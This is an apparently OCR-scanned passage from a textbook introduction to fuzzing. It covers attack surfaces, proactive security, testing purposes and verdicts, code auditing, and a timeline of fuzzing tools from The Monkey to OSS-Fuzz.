easy to find in them. Some very interesting technologies for fuzzers include

 Next Generation Networks (Triple-Play) such as VoIP and IPTYV;

+ Data/video streaming protocols such as MPEG2-TS (DVB-C/S/T);

« IPv6 and related protocols;

« Wireless technologies such as WiFi, 6LoPAN, Zigbee, Bluetooth, NFC,
and RFID;

« Industrial networks (SCADA);

» Vehicle area networks such as CAN and MOST.

We will not list all the various protocols related to these technologies here,
but if you are interested in finding out which protocols are the most critical ones
for you, we recommend running a port scanner’ against your systems, and using

SOne good free port scanner is NMAP. Available at http://insecure.org/nmap.
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network analyzers® to monitor the actual data being sent between various devices
in your network.

1.1.4 Reasons Behind Security Mistakes

Clearly, having security vulnerabilities in software is a bad thing. If we can define
the attack surface and places where privilege can be elevated, why can’t we simply
make the code secure? The core reason is that the fast evolution of communications
technologies has made software overwhelmingly complex. Even the developers of
the software may not understand all of the dependencies in the communication
infrastructure. Integration into off-the-shelf frameworks, third-party libraries, com-
ponents and operating systems brings along with it unnecessary network services
that should be shut down or secured before deploying the products and services.
Past experience has shown that all complex communication software is vulnerable
to security incidents: The more complex a device is, the more vulnerable it usually
proves in practice. For example, some security solutions are brought in to increase
security, but they may instead enable new vulnerabilities due to their complexity.
If a thousand lines of code have on average between two to ten critical defects, a
product with millions of lines of code can easily contain thousands of flaws just
waiting to be found. For secure solutions, look for simple solutions over complex
ones, and minimize the feature sets instead of adding anything unnecessary. Every-
thing that is not used by majority of the users can probably be removed completely
or shut down by default. If you cannot do that or do not want to do that, you have
to test (fuzz) that particular feature thoroughly.

Standardization and harmonization of communications have their benefits, but
there is also a downside to them. A standardized homogeneous infrastructure can
be secure if all possible best practices are in place. But when security deployment is
lacking in any way, such an environment can be disrupted with one single flaw in
one single standard communication interface. Viruses and worms often target widely
deployed homogeneous infrastructures. Examples of such environments include
email, Web, and VoIP. A unified infrastructure is good from a security point of
view only if it is deployed and maintained correctly. Most people never update the
software in their wireless home routers and printers. Think about it! Some people do
not even know if they can update the software on their cars, or worse, have to pay
for the updates. If you do not want to update all those devices every week, it might
be beneficial to try to fuzz them, and maybe fix several flaws in one fell swoop.

Open, interconnected wireless networks pose new opportunities for vulner-
abilities. In a wireless environment, anyone can attack anyone or anything. Wire-
less is by definition always open, no matter what authentication and encryption
mechanisms are in place. For most flaws that are found with fuzzing in the wireless
domain, authentication is only done after the attack has already succeeded. This is
because in order to attempt authentication or encryption, input from an untrusted
source must be processed. In most cases the first message being sent or received in
wireless communications is completely anonymous and unauthenticated. If you do

¢One popular network analyzer is Wireshark. Available at www.wireshark.org.
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not need wireless, do not use it. If you need to have it open, review the real opera-
tion of that wireless device and at minimum test the handling of preauthentication
messages using fuzzing.

Mobility will increase the probability of vulnerabilities, but also will make it
easier to attack those devices. Mobile devices with complex communication software
are everywhere, and they often exist in an untrusted environment. Mobility will also
enable anonymity of users and devices. Persons behind security attacks cannot be
tracked reliably. If you have a critical service, it might be safer to ask everyone to
authenticate himself or herself in a secure fashion. At minimum, anything that can
be accessed anonymously has to be thoroughly tested for vulnerabilities.

1.1.5 Proactive Security

For an enterprise user, there are typically two different measures available for protect-
ing against security incidents: reactive and proactive. The main difference between
reactive security measures and proactive security measures is who is in control of
the process. In reactive measures, you react to external events and keep running
around putting fires out. In proactive security measures, you take a step back and
start looking at the system through the eyes of a hacker. Again, a hacker in this
sense is not necessarily a criminal. A hacker is a person who, upon hearing about
a new technology or a product, will start having doubts on the marketing terms
and specifications and will automatically take a proactive mindset into analyzing
various technologies. Why? How? What if? These are just some of the questions
someone with this mindset will start to pose to the system.

Let us take a look at the marketing terms for proactive security from various
commercial fuzzer companies:

XXX enables companies to preemptively mitigate unknown and published
threats in products and services prior to release or deployment—before
systems are exposed, outages occur, and zero-day attacks strike.

By using YYY, both product developers and end users can proactively verify
security readiness before products are purchased, upgraded, and certainly
before they are deployed into production environments.

In short, proactive, predeployment, or preemptive software security is equal to
catching vulnerabilities earlier in the software development life cycle (SDLC), and
catching also those flaws that have not been disclosed publicly, which traditional
reactive security measures cannot detect. Most traditional security solutions attempt
to detect and block attacks, as opposed to discovering the underlying vulnerabilities
that these attacks target (Figure 1.3).

A post-deployment, reactive solution depends on other people to ask the ques-
tions critical for security. An example of a reactive solution is a signature based
antivirus system. After a new virus emerges, researchers at the security vendor start
poking at it, trying to figure out what makes it tick. After they have analyzed the
new virus, they will take protective measures, trying to detect and eliminate the
virus in the network or at a host computer. Another example of a reactive solution
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Figure 1.3 Reactive postdeployment versus proactive predeployment security measures.

is an intrusion detection system (IDS) or an intrusion prevention system (IPS). These
systems look for known exploits and block them. They do not attempt to identify
which systems are vulnerable or what vulnerabilities exist in software. One could
argue that even a firewall is reactive solution, although the pace of development is
much slower. A firewall protects against known attacks by filtering communica-
tion attempts at the perimeter. The common thread with most post-deployment
security solutions is that they all target attacks, and not vulnerabilities. They are
doomed to fail because of that significant difference. Every time there is a unique
vulnerability discovered, there will be hundreds, if not thousands of attack vari-
ants trying to exploit that worm-sized hole. Each time a new attack emerges, the
retroactive security vendors will rush to analyze it and deploy new fingerprints to
their detection engines. But based on article by Yankee Group, unfortunately they
only detect less than 70% of attacks, and are often between 30 and 60 days late.”

One could argue that security scanners (or vulnerability scanners) are also pro-
active security tools. However, security scanners are based on known attacks and
exhibit the same problems as other reactive security solutions. A security scanner
cannot find a specific vulnerability unless the vulnerability is publicly known. And
when a vulnerability becomes known, attacks usually already exist in the wild
exploiting it. That does not sound very proactive, does it? You still depend on some-
one else making the decisions for you, and in their analyzing and protecting your
assets. Security scanners also look for known issues in standard operating systems
and widely used hosts, as data on known vulnerabilities is only available for those
platforms. Most tests in security scanners are based on passive probing and finger-
printing, although they can contain active hostile tests (real exploits) for selected
known issues. Security scanners cannot find any unknown issues, and they need
regular updating of threats. Security scanners also rarely support scanning anything
but very popular operating systems and selected network equipment.

A problem that is becoming more challenging for reactive security solutions that
depend on public disclosure is that they do not know the problems (vulnerabilities)
anymore. This is because the public disclosure movement has finally died down.
However, raising awareness about security mistakes can only be a good thing. Public
disclosure is fading because very few people actually benefit from it. Manufacturers
and software developers do not want to publish the details of vulnerabilities, and

7“Anti-Virus Is Dead; Long Live Anti-Malware.” Published by Yankee Group. Jan. 17, 2007.
www.marketresearch.com/map/prod/1424773.html (currently unavailable).
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therefore today we may not know if they have fixed the problems or not. Hackers do
not want to publish the details, as they can sell them for profit. Corporate enterprise
customers definitely do not want to publish any vulnerability details, as they are
the ones who will get damaged by any attacks leading to compromises. The only
ones who publish details are security companies trying to make you believe they
actually have something valuable to offer. Usually, this is just bad and irresponsible
marketing, because they are getting mostly second-hand, used vulnerabilities that
have already been discovered by various other parties and exploited in the wild.

A proactive solution will look for vulnerabilities and try to resolve them before
anyone else learns of them and before any attacks take place. As we said, many
enterprise security measures fail because they are focused on known attacks. A
truly proactive approach should focus on fixing the actual flaws (unknown zero-
day vulnerabilities) that enable these attacks. An attack will not work if there is no
underlying vulnerability to exploit. Vulnerability databases indicate that program-
ming errors cause 80% of vulnerabilities, so the main focus of security solutions
should probably be in that category of flaws. Based on research conducted at the
PROTOS project® and also according to our experience at commercial fuzzing
companies, 80% of software will crash when tested via fuzzing. That means we
can find and eliminate many of those flaws with fuzzing, if we spend the effort in
deploying fuzzing.

1.1.6 Security Requirements

We have discussed fuzzing and its uses, but the truth is not all software is security-
critical, and not all software needs fuzzing. Just as is the case with all security
measures, introducing fuzzing into development or deployment processes needs to
be based on the requirement set for the system. Unfortunately, traditional security
requirements are feature-driven and do not really strike a chord with fuzzing.

Typical and perhaps the most common subset of security requirements or security
goals consists of the following: confidentiality, integrity, and availability. Fuzzing
directly focuses on only one of these, namely availability, although many vulner-
abilities found using fuzzing can also compromise confidentiality and integrity by
allowing an attacker to execute malicious code on the system. Furthermore, the tests
used in fuzzing can result in corrupted databases, or even in parts of the memory
being sent back to the fuzzer,” which also constitute attacks against confidentiality
and integrity.

Fuzzing is much closer to the practices seen in quality assurance than those
related to traditional security requirements. This may have been one of the main
reasons why fuzzing has not been widely adopted so far in software engineering
processes: Security people have mostly driven its deployment. Without solid require-
ments to fulfill, you only end up with a new tool with no apparent need for it. The
result is that your expensive fuzzer equipment ends up just collecting dust in some
far-away test lab.

SPROTOS project at OUSPG, 1998-2001, https://www.ee.oulu.fi/research/ouspg/Protos.
In the Heartbleed bug there is an example of a fuzzer-found issue where the system when tested with
fuzzing returned chunks of memory back to the attacker. http://www.heartbleed.com.
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Thrill to the excitement of the chase! Stalk bugs with care, methodology,
and reason. Build traps for them. . .. Testers! Break that software (as you
must) and drive it to the ultimate—but don’t enjoy the programmer’s pain.

Boris Beizer'?

People who are not familiar with testing processes might think that the purpose of
testing is to find flaws. And the more flaws found, the better the testing process is.
Maybe this was the case a long time ago, but today things are different. Modern
testing is mostly focused on two things: verification and validation (V&V). Although
both terms are used ambiguously, there is an intended difference.

Verification attempts to answer the question: “Did we build the product right?”
Verification is more focused on the methods (and in the existence of these methods),
such as checklists, general process guidelines, industry best practices, and regula-
tions. Techniques in verification ensure that the development, and especially the
quality assurance process, is correct and will result in reduction of common mistakes.

Validation, on the other hand, asks: “Did we build the right product?” The focus
is on ensuring and documenting the essential requirements for the product and in
building the tests that will check those requirements. For any successful validation
testing, one needs to proactively define and document clear pass/fail criteria for all
functionality so that eventually when the tests are done, the test verdicts can be
issued based on something that has been agreed upon beforehand.

Unfortunately, fuzzing does not fit well into this V&V model, as we will see
here, and later in more detail in Chapter 3.

Testing is a time-consuming process that has been optimized over time at the
same time that software has become more complex. With increasing complex-
ity, devising a completely thorough set of tests has become practically impossible.
Software development with a typical waterfall model and its variants—such as
the iterative development process—proceed in phases from initial requirements
through specification, design, and implementation, finally reaching the testing and
post-deployment phases. These phases are rarely completely sequential in real-life
development, but run in parallel and can revisit earlier steps. They can also run in
cycles, such as in the spiral model. The system requirements that drive testing are
drafted very early in the development process and change constantly. This change
is especially true for various agile processes, where test requirements may be only
rarely written down due to the fast change process.

If we look at fuzzing from a quality assurance perspective, fuzzing is a branch
of testing; testing is a branch of quality control; quality control is a branch of qual-
ity assurance. Fuzzing differs from other testing methods in that it

+ Tends to focus on input validation errors;
+ Tends to focus on actual applications and dynamic testing of a finished product;

19Quote is from Software Testing Techniques, 2nd ed., Boris Beizer, International Thomson Computer
Press. 1990. Abbreviated for brevity.
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« Tends to ignore the responses, or valid behavior;
+ Concentrates mostly on testing interfaces that have security implications.

In this section, we’ll look at different kinds of testing and auditing of software
from a tester’s perspective. We will start with identifying how much you need to
test (and fuzz) based on your needs. We will then define what a testing target is
and follow that up with some descriptions of different kinds of testing as well as
where fuzzing fits in with these definitions. Finally, we will contrast fuzzing with
more traditional security measures in software development such as code auditing.

1.2.1 Cost-Benefit of Quality

From a quality assurance standpoint, it is vital to understand the benefits from
defect elimination and test automation. One useful study was released in January
2001, when Boehm and Basili reviewed and updated their list of metrics on the
benefits of proactive defect elimination. Their software defect reduction top 10 list
includes the following items:!!

1. Finding and fixing a software problem after delivery is often 100 times
more expensive than finding and fixing it during the requirements and
design phase.

2. Current software projects spend about 40% to 50% of their effort on avoid-

able rework.

About 80% of avoidable rework comes from 20% of the defects.

About 80% of the defects come from 20% of the modules, and about half

of the modules are defect free.

About 90% of the downtime comes from, at most, 10% of the defects.

Peer reviews catch 60% of the defects.

Perspective-based reviews catch 35% more defects than nondirected reviews.

Disciplined personal practices can reduce defect introduction rates by up

to 70%.

9. All other things being equal, it costs 50% more per source instruction to
develop high-dependability software products than to develop low-depend-
ability software products. However, the investment is more than worth it if
the project involves significant operations and maintenance costs.

10. About 40% to 50% of users’ programs contain nontrivial defects.

W

PN

Although this list was built from the perspective of code auditing and peer review
(we all know that those are necessary), the same applies to security testing. If you
review each point above from a security perspective, you can see that all of them
apply to vulnerability analysis, and to some extent also to fuzzing. This is because
every individual security vulnerability is also a critical quality issue, because any
crash-level flaws that are known by people outside the development organization have
to be fixed immediately. The defects found by fuzzers lurk in an area that current

1Victor R. Basili, Barry Boehm, “Software defect reduction top 10 list,” Computer (January 2001):
135-137.
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development methods such as peer reviews fail to find. These defects almost always
are found only after the product is released and someone (a third party) conducts
fuzz tests. Security is a subset of software quality and reliability, and the method-
ologies that can find flaws later in the software life-cycle should be integrated to
earlier phases to reduce the total cost of software development.

The key questions to ask when considering the cost of fuzzing are the following.

1. What is the cost per defect with fuzzing? Some people argue that this met-
ric is irrelevant, because the cost per defect is always less than the cost of a
security compromise. These people recognize that there are always benefits
in fuzzing. Still, standard business calculations such as ROI (return on invest-
ment) and TCO (total cost of ownership) are needed in most cases also to
justify investing in fuzzing.

2. What is the test coverage? Somehow you have to be able to gauge how well
your software is being tested and what proportion of all latent problems are
being discovered by introducing fuzzing into testing or auditing processes.
Bad tests done with a bad fuzzer can be counterproductive, because they
waste valuable testing time without yielding any useful results. At worst
case, such tests will result in over-confidence in your product and arrogance
against techniques that would improve your product.!? A solid fuzzer with
good recommendations and a publicly validated track record will likely prove
to be a better investment coverage-wise.

3. How much should you invest in fuzzing? The motivation for discussing the
price of fuzzing derives from the various options and solutions available in
the market. How can you compare different tools based on their price, overall
cost of usage, and testing efficiency? How can you compare the total cost
of purchasing an off-the-shelf commercial fuzzer to that of adopting a free
fuzzing framework and hiring people to design and implement effective tests
from the ground up? Our experience in the market has shown that the price
of fuzzing tools is not usually the biggest issue in comparisons. In commer-
cial fuzzing, the cheapest tools usually prove to be the simplest ones—and
also without exception the worst ones from a testing coverage, efficiency,
and professional testing support standpoint. Commercial companies look-
ing for fuzz testing typically want a fuzzer that (a) supports the interfaces
they need to test, (b) can find as many issues as possible in the systems they
test, and (c) are able to provide good results within a reasonable timeframe.

There will always be a place for both internally built tools and commercial tools.
A quick Python!3 script might be better suited to fuzz a single isolated custom appli-
cation. But if you are testing a complex communication protocol implementation or
a complete system with lots of different interfaces, you might be better off buying a

12We often hear comments like: “We do not need fuzzing because we do source code auditing” or
“We do not need that tool because we already use this tool,” without any consideration if they are
complementary products or not.

13We mention Python as an example script language due to the availability of PyDBG by Pedram
Amini. See PaiMei documentation for more details: http://pedram.openrce.org/PaiMei/docs/.
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fuzzing tool from a commercial test vendor to save yourself a lot of time and pain in
implementation. Each option can also be used at different phases of an assessment.

A typical starting point to analyze fuzzing needs is to conduct a QA risk analy-
sis, and as part of that, possibly conduct necessary ad hoc tests using simple scripts
that review the need for more thorough fuzzing. If critical flaws are found then
increase test coverage by testing your product thoroughly with a commercial testing
tool or readily available open source fuzzer to reach a base level of tests. Depend-
ing on the type of application and customer requirements you might also need to
hire a professional security auditing firm to do a second check, a validation of the
results and methods.

1.2.2 Target of Test

In some forms of testing, the target of testing can be any black box. All of the vari-
ous types of functional tests can be directed at different kinds of test targets. The
same applies for fuzzing. A fuzzer can test any application, whether it is running
on top of Web, mobile, or VoIP infrastructure, or even when it is just a standalone
application. The target of a test can be a single network service, or it can be an
entire network architecture. Common names used for test targets include:

« SUT (system under test). An SUT can consist of several subsystems, or it can
represent an entire network architecture with various services running on
top of it. An SUT can be anything from banking infrastructure to a complex
telephony system. SUT is the most abstract definition of a test target, because
it can encompass any number of individual destinations for the tests.

« DUT (device under test). A DUT is typically one single service or a piece
of equipment, possibly connected to a larger system. Device manufacturers
mainly use the term DUT. Some examples of DUTs include routers, WLAN
access points, VPN gateways, DSL modems, VoIP phones, Web servers, or
mobile handsets.

« IUT (implementation under test). An IUT is one specific software implemen-
tation, typically the binary representation of the software. It can be a process
running on a standard operating system, or a Web application or script run-
ning on an application server.

« UUT (unit under test). Subcomponent of an implementation, a module, library,
or a function that is tested. For fuzzing, this is mostly relevant only when
specific stubs are built so that a subcomponent can be tested without the rest
of the implementation.

In this book, we will most often refer to a test target as an SUT, because this
term is applicable to all forms of test setups.

1.2.3 Testing Purposes and Test Verdicts

The main focus of fuzzing is on functional security assessment. As fuzzing is essen-
tially functional testing, it can be conducted in various steps during the overall
development and testing process. To a QA person, a test has to have a purpose, or
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otherwise it is meaningless.'* Without a test purpose, it is difficult to assign a test
verdict—that is, did the test pass or fail? Various types of testing have different
purposes. Black-box testing today can be generalized to focus on three different
purposes (Figure 1.4). Positive testing can be divided into feature tests and perfor-
mance tests. Test requirements for feature testing consist of a set of valid use cases,
which may consist of only few dozens or at most hundreds of tests. Performance
testing repeats one of the use cases using various means of test automation such
as record-and-playback. Negative testing tries to test the robustness of the system
through exploring the infinite amount of possible anomalous inputs to find the tests
that cause invalid behavior. An anomaly can be defined as any unexpected input
that deviates from the expected norm, ranging from simple field-level modifications
to completely broken message structures or alterations in message sequences. Let
us explore these testing categories in more detail.

Feature testing, or conformance testing, verifies that the software functions
according to predefined specifications. The features can have relevance to secu-
rity—for example, implementing security mechanisms such as encryption and data
verification. The test specification can be internal, or it can be based on industry
standards such as protocol specifications. A pass criterion simply means that accord-
ing to the test results, the software conforms to the specification. A fail criterion
means that a specific functionality was missing or the software operated against
the specification. Interoperability testing is a special type of feature test. In interop-
erability testing, various products are tested against one another to see how the
features map to the generally accepted criteria. Interoperability testing is especially
important if the industry standards are not detailed enough to provide adequate
guidance for achieving interoperability. Most industry standards always leave some
features open to interpretation. Interoperability testing can be conducted at special

Features

Robustness

Performance

Figure 1.4 Testing purposes: features, performance, and robustness.

Note that this strict attitude has changed lately with the increasing appreciation to agile testing
techniques. Agile testing can sometimes appear to outsiders as ad hoc testing. Fuzzing has many
similarities to agile testing processes.
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events sometimes termed plug-fests (or unplug-fests in the case of wireless protocols
such as Bluetooth).

Performance testing tests the performance limitations of the system, typically
consisting of positive testing only, meaning it will send large amounts of legal traffic
to the SUT. Performance is not only related to network performance, but can also
test local interfaces such as file systems or API calls. The security implications are
obvious: A system can exhibit denial-of-service when subjected to peak loads. An
example of this is DDoS attacks. Another example from the field of telephony is
related to the mothers’ day effect, meaning that a system should tolerate the unfor-
tunate event when everyone tries to use it simultaneously. Performance testing will
measure the limits that result in denial of service. Performance testing is often called
load testing or stress testing, although some make the distinction that performance
testing attempts to prove that a system can handle a specific amount of load (traf-
fic, sessions, transactions, etc.), and that stress testing investigates how the system
behaves when it is taken over that limit. In any case, the load used for performance
testing can either be sequential or parallel—that is, a number of requests can be
handled in parallel, or within a specified time frame. The acceptance criteria are
predefined and can vary depending on the deployment. Whereas another user can
be happy with a performance result of 10 requests per second, another user could
demand millions of processed requests per minute. In failure situations, the system
can crash, or there can be a degradation of service where the service is denied for
a subset of customers.

Robustness testing (including fuzzing) is complementary to both feature and
performance tests. Robustness can be defined as an ability to tolerate exceptional
inputs and stressful environmental conditions. Software is not robust if it fails when
facing such circumstances. Attackers can take advantage of robustness problems
and compromise the system running the software. Most security vulnerabilities
reported in the public are caused by robustness weaknesses.

Whereas both feature testing and performance testing are still positive tests,
based on real-life use cases, robustness testing is strictly negative testing with tests
that should never occur in a well-behaving, friendly environment. For every use
case in feature testing, you can create a performance test by running that use case
in parallel or in rapid succession. Similarly, for every use case in feature testing,
you can create misuse cases by systematically or randomly breaking the legal and
valid stimuli.

With negative testing, the pass-fail criteria are challenging to define (Figure 1.5).
A fail criterion is easier to define than a pass criterion. In robustness testing, you
can define that a test fails if the software crashes, becomes unstable, or does other
unacceptable things. If nothing apparent seems to be at fault, the test has passed. A
pass-verdict almost never means that a method of compromising the security does
not exist, as the quality of the test cases and test procedures is based on the selected
test coverage. Also adding more instrumentation and monitoring the system more
closely can reveal uncaught failures with exactly the same set of tests, thus reveal-
ing the vagueness of the used pass-fail criteria.

Fuzzing is one form of robustness testing, and it tries to fulfill the testing require-
ments in negative testing with random or semi-random inputs (often millions of test



1.2 Software Quality 19

#1.1 Pass:
right response

Feature 1:
subtest 1 & 2 #1.2

Fail:

Wrong response

Performance # Pass: :
scenario #2: repeat 1 no dropped sessions
1 million sessions million Fail:
times . .

denial of service
Robustness Ejfri;h
scenario #3:
8563 mutated #38563 X Fail:
test cases 1 or more crashes

Figure 1.5 Different types of security test scenarios and test verdicts.

cases). But more often robustness testing is model-based and optimized, resulting
in better test results and shorter test execution time due to optimized and intelli-
gently targeted tests selected from the infinity of inputs needed in negative testing
(Figure 1.6).

Positive tests to prove
conformance and
performance

Intelligently
targeted
negative tests

Figure 1.6 Limited input space in positive tests and the infinity of tests in negative testing.
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1.2.4 Structural Testing

Software rarely comes out as it was originally planned (Figure 1.7).15 The differ-
ences between the specification and the implementation are faults (defects, bugs,
vulnerabilities) of various types. A specification defines both positive and negative
requirements. A positive requirement says what the software should do, and a nega-
tive requirement defines what it must not do. The gray area in between leaves some
functionality undefined, open for interpretation. The implementation rarely rep-
resents the specification. The final product implements the acquired functionality,
with some of the planned features present and some of them missing (conformance
faults). In addition to implementing (or not implementing) the positive requirements,
the final software typically implements some features that were defined as negative
requirements (often fatal or critical faults). Creative features implemented during
the software life cycle can either be desired or nondesired in the final product.

Whereas all critical flaws can be considered security-critical, many security prob-
lems also exist inside the set of creative features. One reason for this is that those
features very rarely will be tested even if fuzzing is part of the software development
life cycle. Testing plans are typically built based on a requirements specification.
The reason for a vulnerability is typically a programming mistake or a design flaw.

Typical security-related programming mistakes are very similar in all commu-
nication devices. Some examples include

* Inability to handle invalid lengths and indices;

« Inability to handle out-of-sequence or out-of-state messages;
« Inability to tolerate overflows (large packets or elements);

« Inability to tolerate missing elements or underflows.

Conformance faults

Planned features

Acquired

functionality Fatal features (faults)

Implementation “Creative features”

In specification When implemented

Figure 1.7 Specification versus implementation.

13]. Eronen, and M.Laakso, “A Case for Protocol Dependency,” In Proceedings of the First IEEE Inter-
national Workshop on Critical Infrastructure Protection. Darmstadt, Germany: November 3-4,2005.
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Implementation mistakes can be thought as undesired features. Whereas a
username of eight characters has a feature of identifying users, nine characters can
be used to shut the service down. Implementation flaws are often created due to
vague definitions of how things should be implemented. Security-related flaws are
often created when a programmer is left with too much choice when implementing
a complex feature such as a security mechanism. If the requirements specification
does not define how authentication must exactly be implemented, or what type
of encryption should be used, the programmers become innovative. The result is
almost always devastating.

1.2.5 Functional Testing

In contrast to structural testing disciplines, fuzzing falls into the category of func-
tional testing, which is more interested in how a system behaves in practice rather
than in the components or specifications from which it is built. The system under
test during functional testing can be viewed as a black box, with one or more exter-
nal interfaces available for injecting test cases, but without any other information
available on the internals of the tested system. Having access to information such as
source code, design or implementation specifications, debugging or profiling hooks,
logging output, or details on the state of the system under test or its operational
environment will help in root cause analysis of any problems that are found, but
none of this is strictly necessary. Having any of the above information available turns
the testing process into gray-box testing, which has the potential to benefit from the
best of both worlds in structural as well as functional testing and can sometimes
be recommended for organizations that have access to source code or any other
details of the systems under test. Access to the internals can also be a distraction.

A few good ideas that can be used in conjunction with fuzz testing when source
code is available include focusing code auditing efforts on components or subsystems
in which fuzzing has already revealed some initial flaws (implying that the whole
component or portions of the code around the flaws might be also of similarly poor
quality) or using debuggers, error detectors and profilers to catch more obscure
issues such as memory leaks during fuzz testing.

1.2.6 Code Auditing

Use the source, Luke—if you have it!

Anonymous security expert

Fuzzing is sometimes contrasted with code auditing and other white-box testing
methods. Code auditing looks at the source code of a system in an attempt to dis-
cover defective programming constructs or expressions. This falls into the category
of structural testing, looking at specifications or descriptions of a system in order
to detect errors. While code auditing is another valuable technique in the software
tester’s toolbox, code auditing and fuzzing are really complementary to each other.
Fuzzing focuses on finding some critical defects quickly, and the found errors are
usually very real. Fuzzing can also be performed without understanding the inner
workings of the tested system in detail. Code auditing is usually able to find more



22

Introduction

1.3

problems, but it also finds more false positives that need to be manually verified
by an expert before they can be declared real, critical errors. The choice of which
technique fits your purposes and testing goals best is up to you. With unlimited
time and resources, both can be recommended. Neither fuzzing nor code auditing
is able to provably find all possible bugs and defects in a tested system or program,
but both of them are essential parts in building security into your product develop-
ment processes.

Introduction to Fuzzing

1.3.1 Brief History of Fuzzing

Fuzzing is one technique for negative testing, and negative testing is nothing new in
the quality assurance field. Hardware testing decades ago already contained negative
testing in many forms. The most traditional form of negative testing in hardware
is called fault injection. The term fault injection can actually refer to two different
things. Faults can be injected into the actual product, through mutation testing, that
is, intentionally breaking the product to test the efficiency of the tests. Or the faults
can be injected to data, with the purpose of testing the data-processing capability.
Faults in hardware communication buses typically happen either through random
inputs (i.e., white-noise testing) or by systematically modifying the data (e.g., by
bit-flipping). In hardware, the tests are typically injected through data busses or
directly to the various pins on the chip. Most modern chips contain a test channel,
which will enable modification of not only the external interfaces but injection of
anomalies in the data channels inside the chip.

Some software engineers used fuzzing-like test methods already in the 1980s.
One proof of that is a tool called The Monkey: “The Monkey was a small desk
accessory that used the journaling hooks to feed random events to the current appli-
cation, so the Macintosh seemed to be operated by an incredibly fast, somewhat
angry monkey, banging away at the mouse and keyboard, generating clicks and drags
at random positions with wild abandon.”'® However, in practice, software testing
for security and reliability was in its infancy until the late 1990s. It appeared as if
nobody cared about software quality, as crashes were acceptable and software could
be updated easily. One potential reason for this was that before the availability of
public networks, or the internet, there was no concept of an attacker. The birth of
software security as a research topic was created by widely deployed buffer overflow
attacks such as the Morris Internet Worm in 1988. In parallel to the development
in the software security field, syntax testing was introduced around 1990 by the
quality assurance industry.!” Syntax testing basically consists of model-based test-
ing of protocol interfaces with a grammar. We will explain syntax testing in more
detail in Chapter 3.

A much more simpler form of testing gained more reputation, perhaps due to
the easiness of its implementation. The first (or at least best known) rudimentary

16From Folklore.org (1983). www.folklore.org/StoryView.py?story=Monkey_Lives.txt.
7Syntax testing is introduced in the Software Testing Techniques 2nd edition, by Boris Beizer, Inter-
national Thomson Computer Press. 1990.
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negative testing project and tool was called Fuzz from Barton Miller’s research group
at the University of Wisconsin, published in 1990.!® Very simply, it tried random
inputs for command line options, looking for locally exploitable security holes. The
researchers repeated the tests every five years, with same depressing results. Almost
all local command-line utilities crashed when provided unexpected inputs, with most
of those flaws exploitable. They described their approach as follows:

There is a rich body of research on program testing and verification. Our
approach is not a substitute for a formal verification or testing procedures,
but rather an inexpensive mechanism to identify bugs and increase overall
system reliability. We are using a coarse notion of correctness in our study.
A program is detected as faulty only if it crashes or hangs (loops indefi-
nitely). Our goal is to complement, not replace, existing test procedures.
While our testing strategy sounds somewhat naive, its ability to discover
fatal program bugs is impressive. If we consider a program to be a complex
finite state machine, then our testing strategy can be thought of as a random
walk through the state space, searching for undefined states.!”

History of Fuzzing

1983: The Monkey
1988: The Internet Worm
1989-1991:
« Boris Beizer explains Syntax Testing (similar to robustness testing).

+ “Fuzz: An Empirical Study of Reliability . . .” by Miller et al. (Univ. of
Wisconsin)

1995-1996:

+ Fuzz revisited by Miller et al. (Univ. of Wisconsin).

« Fault Injection of Solaris by OUSPG (Oulu University, Finland).
1998:

« ISIC fuzzer for IPv4
1999-2001:

« PROTOS tests for: SNMP, HTTP, SIP, H.323, LDAP, WAP, . ..

+ Peach fuzzer from Michael Eddington, the most popular fuzzing framework
still in use

« Spike from Dave Aitel

« Codenomicon launch with GTP, SIP, and TLS robustness testers.
« Click-to-Secure (now Cenzic) Hailstorm web application tester.

18More information on “Fuzz Testing of Application Reliability” at University of Wisconsin is avail-
able at http://pages.cs.wisc.edu/~bart/fuzz.

19B. P. Miller, L. Fredriksen, and B. So. “An empirical study of the reliability of Unix utilities.” Com-
munications of the Association for Computing Machinery, 33(12)(1990):32-44.
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2003:

2008:

2009:

2010:

2014:

2015:

2016:

2005-2006:

IWL and SimpleSoft SNMP fuzzers (and various other protocol specific
tools).
SSHredder from Rapid7

Open source fuzzers: dfuz, Flayer, Scapy

Open source fuzzers: antiparser, autodafe, AxMan, GPF, JBroFuzz,
WSFuzzer

Commercial fuzzers: beStorm from Beyond Security, Flinder from SEARCH-
LAB, Mu-4000 from MuSecurity (now Spirent)

Exploratory fuzzing, EFS from Jared DeMott, using feedback loop from
code execution to craft new test sequences

Open source fuzzers: ProxyFuzz

Commercial: FuzzGuru from Microsoft, Achilles from Wurldtech (now GE),
BPS-1000 from BreakingPoint, (now Ixia)

SAGE from Microsoft Research and CSE, using constraint solvers and
coverage data to generate new tests

KIF fuzzer explores state diagrams, by Humberto Abdelnur, Olivier Festor,
and Radu State

In-Memory Fuzz POC by Adam Greene, Michael Sutton and Pedram Amini,
applying mutations inside the process

Sulley from Aaron Portnoy and Pedram Amini
Defensics 3.0 from Codenomicon

Traffic Capture Fuzzer from Codenomicon uses protocol dissectors to
model protocols

Radamsa from OUSPG using genetic algorithms to dissect protocols and
build protocol models

AFL by Michal Zalewski, using compile-time instrumentation and genetic
algorithms to discover new paths in code

LLVM libFuzzer, in-process coverage guided fuzzer using Sanitizer
Coverage instrumentation

Microsoft announces SAGE based fuzzing service, Project Springfield?°
Google announces open source software fuzzing project, OSS-fuzz

20http://www.microsoft.com/Springfield
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Inspired by the research at the University of Wisconsin, and by syntax testing
explained by Boris Beizer, Oulu University Secure Programming Group (OUSPG)
launched the PROTOS project in 1999.2! The initial motivation for the work grew
out of frustration with the difficulties of traditional vulnerability coordination and
disclosure processes, which led the PROTOS team to think what could be done
to expedite the process of vulnerability discovery and transfer the majority of the
process back toward the software and equipment vendors from the security research
community. They came up with the idea of producing fuzzing test suites for vari-
ous interfaces and releasing them first to the vendors, and ultimately to the general
public after the vendors had been able to fix the problems. During the following
years, PROTOS produced free test suites for the following protocols: WAP-WSP,
WMLC, HTTP-reply, LDAP, SNMP, SIP, H.323, ISAKMP/IKE, and DNS. The
biggest impact occurred with the SNMP test suite, where over 200 vendors were
involved in the process of repairing their devices, some more that nine months
before the public disclosure. With this test suite the PROTOS researchers were able
to identify numerous critical flaws within the ASN.1 parsers of almost all available
SNMP implementations. This success really set the stage to alert the security com-
munity to this new way of testing called fuzzing.

Many notable open source fuzzers were released in early 2000, including Peach
and Scapy that are still widely used. Those fuzzers are still very dependent on the
input samples or grammar given provided by the user. EFS from Jared DeMott and
SAGE from Microsoft, presented in more detail at Chapter 7, were one the first
fuzzers that were able to runtime evolve their effectiveness during fuzzing. Since
